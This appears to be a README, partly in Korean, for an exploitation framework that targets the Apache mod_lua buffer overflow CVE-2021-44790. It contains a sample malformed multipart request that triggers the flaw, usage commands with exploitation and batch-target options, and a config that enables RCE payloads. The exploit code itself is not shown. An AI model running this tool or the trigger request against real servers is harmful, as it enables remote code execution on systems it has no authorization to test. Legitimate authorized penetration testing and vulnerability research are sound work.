
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Apache mod_lua Buffer Overflow Exploitation은 Apache HTTP Server 2.4.x mod_lua 모듈의 치명적인 버퍼 오버플로우 취약점인 CVE-2021-44790을 위한 고급 엔터프라이즈급 익스플로잇 플랫폼입니다. 이 프레임워크는 포괄적인 핑거프린팅, 지능형 스크립트 발견, 다단계 스캐닝 및 95% 이상의 신뢰도 탐지와 함께 전문적인 보고 기능을 제공합니다.
이 취약점은 mod_lua 모듈이 multipart/form-data 요청을 처리할 때 발생합니다. lua_request_parsebody() 함수의 정수 언더플로우는 힙 기반 버퍼 오버플로우로 이어져 잠재적으로 원격 코드 실행을 허용할 수 있습니다.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| 메인 인터페이스 | 핑거프린트 결과 |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.
By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes
기여는 언제나 환영합니다! 다음 지침을 따라주세요:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
교육 및 승인된 테스트 목적으로만 사용
이 소프트웨어는 명시적이거나 묵시적인 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다.
⭐ 이 저장소에 Star를 눌러 프로젝트를 지원해주세요!
💡 버그를 발견하셨나요? 이슈 열기
📧 연락처: [email protected]
보안 커뮤니티를 위해 ❤️로 제작되었습니다
| 기능 | 설명 |
|---|
| 🔍 고급 핑거프린팅 | Apache 버전, mod_lua, OS, 아키텍처, WAF, CDN, 컨테이너, 클라우드 공급자 탐지 |
| 🎯 지능형 발견 | robots.txt, sitemap, HTML 파싱, JavaScript 추출 등 7개 이상의 발견 기법 |
| 💥 다단계 스캐닝 | 연결 → 핑거프린트 → 발견 → 검증 → 익스플로잇 → 보고 |
| 🧩 확장 가능한 플러그인 시스템 | 향후 CVE를 위한 손쉬운 플러그인 개발 |
| 🌐 스마트 HTTP 엔진 | 연결 풀링, 재시도, HTTP/2 지원, 속도 제한 |
| 📊 포괄적인 보고 | 대화형 대시보드를 갖춘 JSON, HTML, Markdown, PDF |
| 🎨 아름다운 터미널 UI | 진행 표시줄, 테이블, 색상 코딩 출력을 갖춘 Rich 라이브러리 |
| 💾 연구 데이터베이스 | 전체 스캔 기록 및 쿼리 지원을 갖춘 SQLite 저장소 |
| 📸 스크린샷 캡처 | 증거 수집을 위한 자동 웹페이지 스크린샷 |
| 🚀 고성능 | 20개 이상의 동시 스레드, 100개 이상의 연결 풀 |
| 속성 | 값 |
|---|
| CVE ID | CVE-2021-44790 |
| 취약점 | 버퍼 오버플로우 (정수 언더플로우) |
| 영향받는 소프트웨어 | Apache HTTP Server 2.4.0 ~ 2.4.51 |
| 수정 버전 | Apache HTTP Server 2.4.52 이상 |
| 구성 요소 | mod_lua 모듈 |
| 공격 경로 | 네트워크 (원격) |
| CVSS 점수 | 9.8 (치명적) |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 높음 |
| 가용성 영향 | 높음 |
| 익스플로잇 성숙도 | 개념 증명(PoC) 사용 가능 |
| 스캔 진행 상황 | HTML 보고서 대시보드 |
|---|
![]() | ![]() |
| 옵션 | 설명 | 예시 |
|---|
TARGET | 대상 URL | http://target.com |
--config FILE | 구성 파일 | --config config.yaml |
--threads N | 스레드 수 | --threads 30 |
--timeout N | 요청 시간 제한(초) | --timeout 15 |
--proxy URL | 프록시 URL | --proxy http://127.0.0.1:8080 |
--verbose | 상세 출력 | --verbose |
--scan-only | 익스플로잇 없이 스캔만 수행 | --scan-only |
--exploit | 익스플로잇 활성화 | --exploit |
--all-payloads | 모든 페이로드 사용 | --all-payloads |
--report FORMAT | 보고서 형식 (json/html/markdown/all) | --report all |
--output DIR | 출력 디렉터리 | --output /path/to/reports/ |
--research | 연구 모드 활성화 | --research |
--database FILE | 데이터베이스 경로 | --database luastorm.db |
--screenshot | 스크린샷 촬영 | --screenshot |
--batch FILE | 대상이 포함된 배치 파일 | --batch targets.txt |
--query SQL | 데이터베이스 쿼리 실행 | --query "SELECT * FROM targets" |
| 기능 | 성능 |
|---|
| 핑거프린팅 | 2초 미만 |
| 스크립트 발견 | 5-10초 |
| 페이로드 테스트 | 페이로드당 1-5초 |
| 보고서 생성 | 1초 미만 |
| 데이터베이스 작업 | 100ms 미만 |
| 동시 스레드 | 20+ |
| 연결 풀 | 100+ |